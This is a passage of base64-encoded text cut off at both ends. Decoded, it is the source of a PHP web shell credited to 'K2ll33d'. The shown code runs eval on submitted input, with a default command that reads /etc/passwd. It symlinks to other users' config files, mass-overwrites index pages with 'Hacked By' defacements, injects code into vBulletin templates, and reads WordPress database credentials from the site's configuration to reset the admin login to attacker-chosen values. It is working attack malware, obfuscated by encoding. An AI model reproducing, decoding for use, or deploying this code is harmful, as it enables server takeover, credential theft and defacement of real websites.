XRjFmMVlLSUJlbEZxZlpKbGlVbTJXN29iaUpKTExXbC85NGsyOXJXaHlFemMrWjJUanBTc2VyQSBCWXl0NDFKZmxkZnRWdWMzZDdSOXE5bUxjR2VBRWs1NjYwc1ZBYWtjMUZRcUZCeHFuaGtCVmxJRGw5NS8zV2E0M2Zwb3R5Q0FCUjk1IHp6cHpZQTdDYU1xNXlhVUNLMVZBWXB1cDdYYVlacFBFMU5BcklCbUJSemdWdFZZb0pRTWNSL2pWM3ZLQzFySTZ3Z1NtTi9uaVliNzUgaSsyMWNSNHBuVllXVWFjbGl2Y01NL3h2UkRqaHlzYkhWd2RlMFcrSzB3ekg5YnQzWWZSUGluZ0NsVkNuaW03YS9adUpDMEpUd2YzQSBSa0QwZlIrQjlYSjJtNjgzai9QcFBZSEZhdlc0M0N6enpXeUZJZmJJQWhCaVdpbkJIQ280QVhTbUZseGl1UEIzRTAvZ1hlamlITWNZIGp3Y1lndUlBZTJHTU5palo5akw0R1lxVFNCOUF2RW1IR2prL20xOWgxQ0d2UG9ISVk1QTFPaDJ0RTNYSWUxYnhLdzc3WVR5dDZUMkYgNmY5d0dFUHhKbGlGa3Y1T3FyNHRFNUxZRW5veUlmRHdkSGNYSzFpbHJmQWRVYlBQTHc9PSI7DQo/PjxodG1sPjxoZWFkPjxsaW5rIGhyZWY9J2RhdGE6aW1hZ2UveC1pY29uOzw/cGhwIGVjaG8gJHR1bmlzaWE7Pz4nIHJlbD0naWNvbicgdHlwZT0naW1hZ2UveC1pY29uJyAvPjx0aXRsZT46OiBrMmxsMzNkIDo6PC90aXRsZT4NCjxsaW5rIGhyZWY9J2h0dHA6Ly9mb250cy5nb29nbGVhcGlzLmNvbS9jc3M/ZmFtaWx5PU9yYml0cm9uOjcwMCcgcmVsPSdzdHlsZXNoZWV0JyB0eXBlPSd0ZXh0L2Nzcyc+DQo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+DQpmdW5jdGlvbiB0dWthcihsYW1hLGJhcnUpe2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKGxhbWEpLnN0eWxlLmRpc3BsYXkgPSAnbm9uZSc7DQpkb2N1bWVudC5nZXRFbGVtZW50QnlJZChiYXJ1KS5zdHlsZS5kaXNwbGF5ID0gJ2Jsb2NrJzt9DQo8L3NjcmlwdD48bGluayBocmVmPSdodHRwOi8vZm9udHMuZ29vZ2xlYXBpcy5jb20vY3NzP2ZhbWlseT1PcmJpdHJvbjo3MDAnIHJlbD0nc3R5bGVzaGVldCcgdHlwZT0ndGV4dC9jc3MnPjxzdHlsZT4NCi5teWJveHstbW96LWJvcmRlci1yYWRpdXM6IDEwcHg7IGJvcmRlci1yYWRpdXM6IDEwcHg7Ym9yZGVyOjFweCBzb2xpZCAjNEM4M0FGOyBwYWRkaW5nOjRweCAycHg7d2lkdGg6NzAlO2xpbmUtaGVpZ2h0OjI0cHg7fS5teWJveHRibHsgd2lkdGg6NTAlOyB9Ym9keXtiYWNrZ3JvdW5kOiMwMTAxMDE7fSBhIHt0ZXh0LWRlY29yYXRpb246bm9uZTt9IGhyLCBhOmhvdmVye2JvcmRlci1ib3R0b206MXB4IHNvbGlkICM0QzgzQUY7fSAqe3RleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIHJnYigxNTMsIDE1MywgMTUzKTtmb250LXNpemU6MTFweDtmb250LWZhbWlseTpUYWhvbWEsVmVyZGFuYSxBcmlhbDtjb2xvcjojRkZGRkZGO30gLnRhYm5ldHttYXJnaW46MTVweCBhdXRvIDAgYXV0bztib3JkZXI6IDFweCBzb2xpZCAjMzMzMzMzO30gLm1haW4ge3dpZHRoOjEwMCU7fSAuZ2F5YSB7Y29sb3I6ICM4ODg4ODg7fSAudG9we2JvcmRlci1MRUZUOjFweCBzb2xpZCAjZmZmZmZmO2JvcmRlci1SSUdIVDoxcHggc29saWQgI2ZmZmZmZjtmb250LWZhbWlseTp2ZXJkYW5hO31pbnB1dHtiYWNrZ3JvdW5kOiMxMTExMTE7Ym9yZGVyOjE7cGFkZGluZzoycHg7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgIzIyMjIyMjtib3JkZXItdG9wOjFweCBzb2xpZCAjMjIyMjIyO2ZvbnQtc2l6ZToxMnB4O3ZlcnRpY2FsLWFsaWduOm1pZGRsZTtoZWlnaHQ6MjA7Ym9yZGVyLWxlZnQ6MXB4IHNvbGlkICM1ZDVkNWQ7Ym9yZGVyLXJpZ2h0OjFweCBzb2xpZCAjMTIxMjEyO2JvcmRlci1ib3R0b206MXB4IHNvbGlkICMxMjEyMTI7Ym9yZGVyLXRvcDoxcHggc29saWQgIzVkNWQ1ZDtjb2xvcjojOWY5ZjlmO30gIC5pbnB1dHp7ICBiYWNrZ3JvdW5kOiMxMTExMTE7IGJvcmRlcjowOyBwYWRkaW5nOjJweDsgYm9yZGVyLWJvdHRvbToxcHggc29saWQgIzM5MzkzOTsgZm9udC1zaXplOjExcHg7IGNvbG9yOiNmZmZmZmY7IC1tb3otYm9yZGVyLXJhZGl1czogNnB4OyBib3JkZXItcmFkaXVzOiAxMHB4OyBib3JkZXI6MXB4IHNvbGlkICM0QzgzQUY7bWFyZ2luOjRweCAwIDhweCAwO30gLmlucHV0emJ1dHtiYWNrZ3JvdW5kOiMxMTExMTE7Y29sb3I6IzhmOGY4ZjttYXJnaW46MCA0cHg7Ym9yZGVyOjFweCBzb2xpZCAjNDQ0NDQ0O30gIC5pbnB1dHpidXQ6aG92ZXJ7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgIzRDODNBRjtib3JkZXItdG9wOjFweCBzb2xpZCAjNEM4M0FGO30uaW5wdXR6OmhvdmVyeyAtbW96LWJvcmRlci1yYWRpdXM6IDZweDsgYm9yZGVyLXJhZGl1czogMTBweDsgYm9yZGVyOjFweCBzb2xpZCAjNEM4M0FGO21hcmdpbjo0cHggMCA4cHggMDtib3JkZXItYm90dG9tOjFweCBzb2xpZCAjNEM4M0FGO2JvcmRlci10b3A6MXB4IHNvbGlkICM0QzgzQUY7fS5vdXRwdXQyIHttYXJnaW46YXV0bztib3JkZXI6MXB4IHNvbGlkICM4ODg4ODg7YmFja2dyb3VuZDojMDAwMDAwO3BhZGRpbmc6MCAycHg7fSB0ZXh0YXJlYXttYXJnaW46YXV0bztib3JkZXI6MnB4IHNvbGlkICM1NTU1NTU7YmFja2dyb3VuZDojMDAwMDAwO3BhZGRpbmc6MCAycHg7fSAub3V0cHV0IHttYXJnaW46YXV0bztib3JkZXI6MXB4IHNvbGlkICMzMDMwMzA7d2lkdGg6MTAwJTtoZWlnaHQ6NDAwcHg7YmFja2dyb3VuZDojMDAwMDAwO3BhZGRpbmc6MCAycHg7fSAuY21kYm94e3dpZHRoOjEwMCU7fS5oZWFkX2luZm97cGFkZGluZzogMCA0cHg7fSAuYjF7Zm9udC1zaXplOjMwcHg7cGFkZGluZzowO2NvbG9yOiM1NTU1NTU7fSAuYjJ7Zm9udC1zaXplOjMwcHg7cGFkZGluZzowO2NvbG9yOiM4MDAwMDA7fSAuYl90Ymx7dGV4dC1hbGlnbjpjZW50ZXI7bWFyZ2luOjAgNHB4IDAgMDtwYWRkaW5nOjAgNHB4IDAgMDtib3JkZXItcmlnaHQ6MXB4IHNvbGlkICMzMzMzMzM7fSAucGhwaW5mbyB0YWJsZXt3aWR0aDoxMDAlO3BhZGRpbmc6MCAwIDAgMDt9IC5waHBpbmZvIHRke2JhY2tncm91bmQ6IzExMTExMTtjb2xvcjojY2NjY2NjO3BhZGRpbmc6NnB4IDhweDs7fSAucGhwaW5mbyB0aCwgdGh7YmFja2dyb3VuZDojMTkxOTE5O2JvcmRlci1ib3R0b206MXB4IHNvbGlkICMzMzMzMzM7Zm9udC13ZWlnaHQ6bm9ybWFsO30gLnBocGluZm8gaDIsIC5waHBpbmZvIGgyIGF7dGV4dC1hbGlnbjpjZW50ZXI7Zm9udC1zaXplOjE2cHg7cGFkZGluZzowO21hcmdpbjozMHB4IDAgMCAwO2JhY2tncm91bmQ6IzIyMjIyMjtwYWRkaW5nOjRweCAwO30gLmV4cGxvcmV7d2lkdGg6MTAwJTt9IC5leHBsb3JlIGEge3RleHQtZGVjb3JhdGlvbjpub25lO30gLmV4cGxvcmUgdGR7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgIzMzMzMzMztwYWRkaW5nOjAgOHB4O2xpbmUtaGVpZ2h0OjI0cHg7Y29sb3I6Izk5OTk5OTt9IC5leHBsb3JlIHRoe3BhZGRpbmc6M3B4IDhweDtmb250LXdlaWdodDpub3JtYWw7Y29sb3I6Izk5OTk5OTt9IC5leHBsb3JlIHRoOmhvdmVyICwgLnBocGluZm8gdGg6aG92ZXJ7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgcmVkO30gLmV4cGxvcmUgdHI6aG92ZXJ7YmFja2dyb3VuZDojMzMzMzMzO30gLnZpZXdmaWxle2JhY2tncm91bmQ6I0VERUNFQjtjb2xvcjojMDAwMDAwO21hcmdpbjo0cHggMnB4O3BhZGRpbmc6OHB4O30gLnNlbWJ1bnlpe2Rpc3BsYXk6bm9uZTtwYWRkaW5nOjA7bWFyZ2luOjA7fSAjbWVudXtmb250LWZhbWlseTpvcmJpdHJvbjtiYWNrZ3JvdW5kOiAjMTExMTExO21hcmdpbjo1cHggMnB4IDRweCAycHg7fSAjbWVudSBhe3RleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjtmb250LWZhbWlseTpvcmJpdHJvbjtwYWRkaW5nOjRweCA2cHg7bWFyZ2luOjA7YmFja2dyb3VuZDojNjY2NjY2O3RleHQtZGVjb3JhdGlvbjpub25lO2xldHRlci1zcGFjaW5nOjFweDtjb2xvcjojZmZmZmZmO30gI21lbnUgYTpob3Zlcntmb250LWZhbWlseTpvcmJpdHJvbjtiYWNrZ3JvdW5kOiMxOTE5MTk7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgIzQ0NDQ0NDtib3JkZXItdG9wOjFweCBzb2xpZCAjNDQ0NDQ0O2NvbG9yOiNjZWNlY2U7fWssIGsgYSwgayBhOmhvdmVye3RleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIHJlZDtmb250LWZhbWlseTpvcmJpdHJvbjtmb250LXNpemU6MjVweDtjb2xvcjojZmZmZmZmO308L3N0eWxlPjxib2R5IG9uTG9hZD0iZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2NtZCcpLmZvY3VzKCk7Ij48ZGl2IGNsYXNzPSJtYWluIj48ZGl2IGNsYXNzPSJoZWFkX2luZm8iPiA8dGFibGU+PHRyPjx0ZCB3aWR0aD0iMTUlIj48dGFibGUgY2xhc3M9ImJfdGJsIj4NCjw/cGhwIGVjaG8gKGJhc2U2NF9kZWNvZGUoJ1BHZ3hQanhoUG1zZ01pQnNJR3dnTXlBeklHUW1ibUp6Y0RzbWJtSnpjRHRUSUdnZ1pTQnNJR3c4TDJFK1BDOW9NVDRtYm1KemNEc21ibUp6Y0RzbWJtSnpjRHNtYm1KemNEcz0nKSk7Pz48ZGl2IGlkPSJtZW51Ij48YSBocmVmPSI/PD9waHAgZWNobyAieT0iLiRwd2Q7Pz4mYW1wO3g9YWJvdXQiPkFib3V0IE1lPC9hPjwvZGl2Pg0KPC90ZD48L3RyPjwvdGFibGU+PC90ZD48dGQgY2xhc3M9InRvcCIgd2lkdGg9JzYwJSc+PD9waHAgZWNobyAkYnVmZjs/PjwvdGQ+Jm5ic3A7Jm5ic3A7PHRkIHN0eWxlPSJ3aWR0aDozMCU7Ij48YT5zZXJ2ZXIgaXAgOjw/cGhwIGVjaG8gJHNlcnZlcl9pcC4iPGZvbnQgY29sb3I9J3JlZCc+PGJyPjxicj48L2ZvbnQ+IHlvdXIgaXAgOiAiLiRteV9pcC4iPGJyPjwvYT4iOz8+PGJyPjxkaXYgaWQ9Im1lbnUiPjxhIGhyZWY9Ij8iPkhvbWU8L2E+PC9kaXY+PC90ZD48L3RyPjwvdGFibGU+PC9kaXY+DQo8ZGl2IGlkPSJtZW51Ij48YSBocmVmPSI/PD9waHAgZWNobyAieT0iLiRwd2Q7Pz4iPkZpbGVzPC9hPjxhIGhyZWY9Ij88P3BocCBlY2hvICJ5PSIuJHB3ZDs/PiZhbXA7eD1zaGVsbCI+U2hlbGw8L2E+PGEgaHJlZj0iPzw/cGhwIGVjaG8gInk9Ii4kcHdkOz8+JmFtcDt4PXVwbG9hZCI+dXBsb2FkPC9hPjxhIGhyZWY9Ij88P3BocCBlY2hvICJ5PSIuJHB3ZDs/PiZhbXA7eD1waHAiPkV2YWw8L2E+PGEgaHJlZj0iPzw/cGhwIGVjaG8gInk9Ii4kcHdkOz8+JmFtcDt4PXN5bSI+U3ltPC9hPjxhIGhyZWY9Ij88P3BocCBlY2hvICJ5PSIuJHB3ZDs/PiZhbXA7eD1uZXRzcGxvaXQiPlRvb2xzPC9hPjxhIGhyZWY9Ij88P3BocCBlY2hvICJ5PSIuJHB3ZDs/PiZhbXA7eD1teXNxbCI+U3FsPC9hPjxhIGhyZWY9Ij88P3BocCBlY2hvICJ5PSIuJHB3ZDs/PiZhbXA7eD1tYXNzIj5NYXNzPC9hPjxhIGhyZWY9Ij88P3BocCBlY2hvICJ5PSIuJHB3ZDs/PiZhbXA7eD1icnV0ZSI+QnJ1dGU8L2E+PGEgaHJlZj0iPzw/cGhwIGVjaG8gInk9Ii4kcHdkOz8+JmFtcDt4PXBocGluZm8iPnBocGluZm88L2E+PGEgaHJlZj0iPzw/cGhwIGVjaG8gInk9Ii4kcHdkOz8+JmFtcDt4PXpvbmUtaCI+Wm9uZS1IPC9hPjxhIGhyZWY9Ij88P3BocCBlY2hvICJ5PSIuJHB3ZDs/PiZhbXA7eD1qb29tbGEiPkpvb21sYTwvYT48YSBocmVmPSI/PD9waHAgZWNobyAieT0iLiRwd2Q7Pz4mYW1wO3g9d29yZHByZXNzIj5Xb3JkcHJlc3M8L2E+PGEgaHJlZj0iPzw/cGhwIGVjaG8gInk9Ii4kcHdkOz8+JmFtcDt4PXZiIj5WYjwvYT48YSBocmVmPSI/PD9waHAgZWNobyAieT0iLiRwd2Q7Pz4mYW1wO3g9ZG9tYWlucyI+RG9tYWluczwvYT48YSBocmVmPSI/PD9waHAgZWNobyAieT0iLiRwd2Q7Pz4mYW1wO3g9c3RyaW5nIj5TdHJpbmc8L2E+PGEgaHJlZj0iPzw/cGhwIGVjaG8gInk9Ii4kcHdkOz8+JmFtcDt4PXdtIj5XcCBNYXNzPC9hPjwvZGl2Pg0KPD9waHAgaWYoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ3BocCcpKXs/Pjxmb3JtIGFjdGlvbj0iP3k9PD9waHAgZWNobyAkcHdkOz8+JmFtcDt4PXBocCIgbWV0aG9kPSJwb3N0Ij48dGFibGUgY2xhc3M9ImNtZGJveCI+PHRyPjx0ZD48dGV4dGFyZWEgY2xhc3M9Im91dHB1dCIgbmFtZT0iY21kIiBpZD0iY21kIiBjb2xzPTkwPiANCjw/cGhwIGlmKGlzc2V0KCRfUE9TVFsnc3VibWl0Y21kJ10pKSB7ZWNobyBldmFsKG1hZ2ljYm9vbSgkX1BPU1RbJ2NtZCddKSk7fWVsc2UgZWNobyAiZWNobyBmaWxlX2dldF9jb250ZW50cygnL2V0Yy9wYXNzd2QnKTsiOz8+PC90ZXh0YXJlYT48L3RkPjwvdHI+PHRyPjx0ZD48aW5wdXQgc3R5bGU9IndpZHRoOjE5JTsiIGNsYXNzPSJpbnB1dHpidXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkRvICEiIG5hbWU9InN1Ym1pdGNtZCIgLz48L3RkPjwvdHI+PC9mb3JtPjwvdGFibGU+PC9mb3JtPiA8P3BocCB9DQplbHNlaWYoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ2Fib3V0Jykpe2VjaG8gJzxjZW50ZXI+PGltZyBjbGFzcz0iSG92ZXJCb3JkZXIiIGFsdD0iIiBzcmM9ImRhdGE6aW1hZ2UvanBlZzsnLiR0dW5pc2lhLiciIC8+PC9jZW50ZXI+PGJyPjxjZW50ZXI+PGs+V2ViIFNoZWxsIEJ5IEsybGwzM2Q8YnI+PGJyPjxicj5NYWlsOiZuYnNwOzxhIGhyZWY9bWFpbHRvOmsybGwzM2RAbGl2ZS5mcj5rMmxsMzNkIFthdF0gbGl2ZS5mcjwvYT48YnI+PGJyPjxhIGhyZWY9Imh0dHBzOi8vZmFjZWJvb2suY29tL2sybGwzM2QiIHRhcmdldD0iX2JsYW5rIj5GYWNlYm9vazwvYT4mbmJzcDs8YSBocmVmPSJodHRwOi8vem9uZS1oLm9yZy9hcmNoaXZlL25vdGlmaWVyPVJlWksyTEwiIHRhcmdldD0iX2JsYW5rIj5ab25lLUg8L2E+PC9rPjwvY2VudGVyPic7fQ0KZWxzZWlmKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICdzeW0nKSl7QHNldF90aW1lX2xpbWl0KDApO0Bta2Rpcignc3ltJywwNzc3KTtlcnJvcl9yZXBvcnRpbmcoMCk7JGh0YWNjZXNzICA9ICJPcHRpb25zIGFsbCBcbiBEaXJlY3RvcnlJbmRleCBnYXphLmh0bWwgXG4gQWRkVHlwZSB0ZXh0L3BsYWluIC5waHAgXG4gQWRkSGFuZGxlciBzZXJ2ZXItcGFyc2VkIC5waHAgXG4gIEFkZFR5cGUgdGV4dC9wbGFpbiAuaHRtbCBcbiBBZGRIYW5kbGVyIHR4dCAuaHRtbCBcbiBSZXF1aXJlIE5vbmUgXG4gU2F0aXNmeSBBbnkiOyRvcCA9QGZvcGVuICgnc3ltLy5odGFjY2VzcycsJ3cnKTtmd3JpdGUoJG9wICwkaHRhY2Nlc3MpO2VjaG8gJzxjZW50ZXI+PGJyPjxicj48Zm9ybSBtZXRob2Q9InBvc3QiPiBGaWxlIFBhdGg6PGJyPjxpbnB1dCBjbGFzcz0iaW5wdXR6IiB0eXBlPSJ0ZXh0IiBuYW1lPSJmaWxlIiB2YWx1ZT0iL2hvbWUvdXNlci9wdWJsaWNfaHRtbC9jb25maWcucGhwIiBzaXplPSI2MCIvPjxicj5TeW1saW5rIE5hbWU8YnI+PGlucHV0IGNsYXNzPSJpbnB1dHoiIHR5cGU9InRleHQiIG5hbWU9InN5bWZpbGUiIHZhbHVlPSJzLnR4dCIgc2l6ZT0iNjAiLz48YnI+PGJyPjxpbnB1dCBjbGFzcz0iaW5wdXR6YnV0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJzeW1saW5rIiBuYW1lPSJzeW1saW5rIiAvPjxicj48YnI+PC9mb3JtPjwvY2VudGVyPic7JHRhcmdldCA9ICRfUE9TVFsnZmlsZSddOyRzeW1maWxlID0gJF9QT1NUWydzeW1maWxlJ107JHN5bWxpbmsgPSAkX1BPU1RbJ3N5bWxpbmsnXTtpZiAoJHN5bWxpbmspIHtAc3ltbGluaygiJHRhcmdldCIsInN5bS8kc3ltZmlsZSIpO2VjaG8gJzxicj48Y2VudGVyPjxhIHRhcmdldD0iX2JsYW5rIiBocmVmPSJzeW0vJy4kc3ltZmlsZS4nIiA+Jy4kc3ltZmlsZS4nPC9hPjxjZW50ZXI+Jzt9fQ0KZWxzZWlmKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICdtYXNzJykpe2Vycm9yX3JlcG9ydGluZygwKTs/Pjx0YWJsZT48dGQgd2lkdGg9IjUwJSI+PGZvcm0gRU5DVFlQRT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgYWN0aW9uPSI8P3BocCAkX1NFUlZFUlsnUEhQX1NFTEYnXT8+IiBtZXRob2Q9cG9zdD48cCBhbGlnbj0iY2VudGVyIj48aDI+Rm9sZGVyPC9oMj48aW5wdXQgY2xhc3MgPSdpbnB1dHonIHR5cD10ZXh0IG5hbWU9cGF0aCBzaXplPTYwIHZhbHVlPSI8P3BocCBlY2hvIGdldGN3ZCgpOz8+Ij48YnI+PGgyPmZpbGUgbmFtZTwvaDI+PGlucHV0IGNsYXNzID0naW5wdXR6JyB0eXA9dGV4dCBuYW1lPWZpbGUgc2l6ZT02MCB2YWx1ZT0iaW5kZXgucGhwIj48YnI+PC90ZD48dGQgd2lkdGg9IjUwJSI+PGgzPkluZGV4IGNvZGUgPC9oMz48dGV4dGFyZWEgY2xhc3MgPSdpbnB1dHonIG5hbWU9aW5kZXggcm93cz0xMCBjb2xzPTQwPmhhY2tlZCBCeSBSZVpLMkxMIFRlYW08L3RleHRhcmVhPjxicj48L3RkPjwvcD48L3RhYmxlPjxjZW50ZXI+PGJyPjxicj48YnI+PGlucHV0IGNsYXNzPSdpbnB1dHpidXQnIHR5cGU9c3VibWl0IHZhbHVlPSImbmJzcDsmbmJzcDtEZWZhY2UmbmJzcDsmbmJzcDsiPjwvY2VudGVyPjwvZm9ybT48YnI+PD9waHAgJG1haW5wYXRoPSRfUE9TVFtwYXRoXTskZmlsZT0kX1BPU1RbZmlsZV07JGRpcj1vcGVuZGlyKCIkbWFpbnBhdGgiKTskY29kZT1iYXNlNjRfZW5jb2RlKCRfUE9TVFtpbmRleF0pOyRpbmR4PWJhc2U2NF9kZWNvZGUoJGNvZGUpO3doaWxlKCRyb3c9cmVhZGRpcigkZGlyKSl7JHN0YXJ0PUBmb3BlbigiJHJvdy8kZmlsZSIsIncrIik7JGZpbmlzaD1AZndyaXRlKCRzdGFydCwkaW5keCk7aWYgKCRmaW5pc2gpe2VjaG8gIiRyb3cvJGZpbGUgPiBEb25lPGJyPjxicj4iO319fQ0KZWxzZWlmKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICd2YicpKSB7aWYoZW1wdHkoJF9QT1NUWydpbmRleCddKSl7ZWNobyAiPGNlbnRlcj48YnI+PGJyPjxGT1JNIG1ldGhvZD0nUE9TVCc+aG9zdCA6IDxJTlBVVCBzaXplPScxNScgY2xhc3M9J2lucHV0eicgdmFsdWU9J2xvY2FsaG9zdCcgbmFtZT0nbG9jYWxob3N0JyB0eXBlPSd0ZXh0Jz4mbmJzcDt8Jm5ic3A7ZGF0YWJhc2UgOiA8SU5QVVQgY2xhc3M9J2lucHV0eicgc2l6ZT0nMTUnIHZhbHVlPSdkYl9uYW1lJyBuYW1lPSdkYXRhYmFzZScgdHlwZT0ndGV4dCc+Jm5ic3A7fCZuYnNwO3VzZXJuYW1lIDogPElOUFVUIGNsYXNzPSdpbnB1dHonIHNpemU9JzE1JyB2YWx1ZT0nZGJfdXNlcicgbmFtZT0ndXNlcm5hbWUnIHR5cGU9J3RleHQnPiZuYnNwO3wmbmJzcDtwYXNzd29yZCA6IDxJTlBVVCBjbGFzcz0naW5wdXR6JyBzaXplPScxNScgdmFsdWU9J2JkX3Bhc3MnIG5hbWU9J3Bhc3N3b3JkJyB0eXBlPSd0ZXh0Jz4mbmJzcDt8Jm5ic3A7cGVyZml4IDogPGlucHV0IGNsYXNzPSdpbnB1dHonIHNpemU9JzE1JyB2YWx1ZT0nJyBuYW1lPSdwZXJmaXgnIHR5cGU9J3RleHQnPjxicj48dGV4dGFyZWEgY2xhc3M9J2lucHV0eicgbmFtZT0naW5kZXgnIGNvbHM9JzQwJyByb3dzPScxMCc+SGFja2VkIEJ5IFJlWksyTEwgVGVhbTwvdGV4dGFyZWE+PGJyPjxJTlBVVCBjbGFzcz0naW5wdXR6YnV0JyB2YWx1ZT0nRGVmYWNlJyBuYW1lPSdzZW5kJyB0eXBlPSdzdWJtaXQnPjwvRk9STT48L2NlbnRlcj4iO31lbHNleyRsb2NhbGhvc3QgPSAkX1BPU1RbJ2xvY2FsaG9zdCddOyRkYXRhYmFzZSA9ICRfUE9TVFsnZGF0YWJhc2UnXTskdXNlcm5hbWUgPSAkX1BPU1RbJ3VzZXJuYW1lJ107JHBhc3N3b3JkID0gJF9QT1NUWydwYXNzd29yZCddOyRwZXJmaXggPSAkX1BPU1RbJ3BlcmZpeCddOyRpbmRleCA9ICRfUE9TVFsnaW5kZXgnXTtAbXlzcWxfY29ubmVjdCgkbG9jYWxob3N0LCR1c2VybmFtZSwkcGFzc3dvcmQpIG9yIGRpZShteXNxbF9lcnJvcigpKTtAbXlzcWxfc2VsZWN0X2RiKCRkYXRhYmFzZSkgb3IgZGllKG15c3FsX2Vycm9yKCkpOyRpbmRleD1zdHJfcmVwbGFjZSgiXCciLCInIiwkaW5kZXgpOyRzZXRfaW5kZXggID0gIntcJHtldmFsKGJhc2U2NF9kZWNvZGUoXCciOyRzZXRfaW5kZXggLj0gYmFzZTY0X2VuY29kZSgiZWNobyAnJGluZGV4JzsiKTskc2V0X2luZGV4IC49ICJcJykpfX17XCR7ZXhpdCgpfX08L3RleHRhcmVhPiI7JG9rPUBteXNxbF9xdWVyeSgiVVBEQVRFICIuJHBlcmZpeC4idGVtcGxhdGUgU0VUIHRlbXBsYXRlID0nIi4kc2V0X2luZGV4LiInIFdIRVJFIHRpdGxlID0nRk9SVU1IT01FJyIpIG9yIGRpZShteXNxbF9lcnJvcigpKTtpZigkb2spe2VjaG8gIkRlZmFjZWQ8YnI+PGJyPiI7fX19DQplbHNlaWYoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ3dtJykpe2luaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwgIjAiKTtzZXRfdGltZV9saW1pdCgwKTtAc2Vzc2lvbl9zdGFydCgpOyRiYXNlX3BhdGggPSBkaXJuYW1lKF9fRklMRV9fKS4nLyc7ZnVuY3Rpb24gZW50cmUydjIoJHRleHQsJG1hcnF1ZXVyRGVidXRMaWVuLCRtYXJxdWV1ckZpbkxpZW4sJGk9MSl7JGFyMD1leHBsb2RlKCRtYXJxdWV1ckRlYnV0TGllbiwgJHRleHQpOyRhcjE9ZXhwbG9kZSgkbWFycXVldXJGaW5MaWVuLCAkYXIwWyRpXSk7cmV0dXJuIHRyaW0oJGFyMVswXSk7fWZ1bmN0aW9uIHJhbmRvbXQoKSB7JGNoYXJzID0gImFiY2RlZmdoaWprbW5vcHFyc3R1dnd4eXowMjM0NTY3ODkiO3NyYW5kKChkb3VibGUpbWljcm90aW1lKCkqMTAwMDAwMCk7JGkgPSAwOyRwYXNzID0gJyc7d2hpbGUgKCRpIDw9IDcpIHskbnVtID0gcmFuZCgpICUgMzM7JHRtcCA9IHN1YnN0cigkY2hhcnMsICRudW0sIDEpOyRwYXNzID0gJHBhc3MgLiAkdG1wOyRpKys7fXJldHVybiAkcGFzczt9ZnVuY3Rpb24gaW5kZXhfY2hhbmdlcl93cCgkY29uZiwgJGNvbnRlbnQpIHskb3V0cHV0ID0gJyc7JGRvbCA9ICckJzskdXNlcm5hbWUgPSBlbnRyZTJ2MigkY29uZiwiZGVmaW5lKCdEQl9VU0VSJywgJyIsIicpOyIpOyRwYXNzd29yZCA9IGVudHJlMnYyKCRjb25mLCJkZWZpbmUoJ0RCX1BBU1NXT1JEJywgJyIsIicpOyIpOyRkYm5hbWUgPSBlbnRyZTJ2MigkY29uZiwiZGVmaW5lKCdEQl9OQU1FJywgJyIsIicpOyIpOyRwcmVmaXggPSBlbnRyZTJ2MigkY29uZiwkZG9sLiJ0YWJsZV9wcmVmaXggID0gJyIsIiciKTskaG9zdCA9IGVudHJlMnYyKCRjb25mLCJkZWZpbmUoJ0RCX0hPU1QnLCAnIiwiJyk7Iik7JGxpbms9bXlzcWxfY29ubmVjdCgkaG9zdCwkdXNlcm5hbWUsJHBhc3N3b3JkKTtpZigkbGluaykge215c3FsX3NlbGVjdF9kYigkZGJuYW1lLCRsaW5rKSA7JGRvbCA9ICckJzskcmVxMSA9IG15c3FsX3F1ZXJ5KCJVUERBVEUgYCIuJHByZWZpeC4idXNlcnNgIFNFVCBgdXNlcl9sb2dpbmAgPSAnazInLGB1c2VyX3Bhc3NgID0gJzQyOTdmNDRiMTM5NTUyMzUyNDViMjQ5NzM5OWQ3YTkzJyBXSEVSRSBgSURgID0gMSIpO30gZWxzZSB7JG91dHB1dC49ICJbLV0gREIgRXJyb3I8YnI+Ijt9aWYoJHJlcTEpIHskcmVxID0gbXlzcWxfcXVlcnkoIlNFTEVDVCAqIGZyb20gIGAiLiRwcmVmaXguIm9wdGlvbnNgIFdIRVJFIG9wdGlvbl9uYW1lPSdob21lJyIpOyRkYXRhID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlcSk7JHNpdGVfdXJsPSRkYXRhWyJvcHRpb25fdmFsdWUiXTskcmVxID0gbXlzcWxfcXVlcnkoIlNFTEVDVCAqIGZyb20gIGAiLiRwcmVmaXguIm9wdGlvbnNgIFdIRVJFIG9wdGlvbl9uYW1lPSd0ZW1wbGF0ZSciKTskZGF0YSA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXEpOyR0ZW1wbGF0ZSA9ICRkYXRhWyJvcHRpb25fdmFsdWUiXTskcmVxID0gbXlzcWxfcXVlcnkoIlNFTEVDVCAqIGZyb20gIGAiLiRwcmVmaXguIm9wdGlvbnNgIFdIRVJFIG9wdGlvbl9uYW1lPSdjdXJyZW50X3RoZW1lJyIpOyRkYXRhID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlcSk7JGN1cnJlbnRfdGhlbWUgPSAkZGF0YVsib3B0aW9uX3ZhbHVlIl07JHVzZXJhZ2VudD0iTW96aWxsYS80LjAgKGNvbXBhdGlibGU7TVNJRSA3LjBiO1dpbmRvd3MgTlQgNS4xOy5ORVQgQ0xSIDEuMS40MzIyO0FsZXhhIFRvb2xiYXI7Lk5F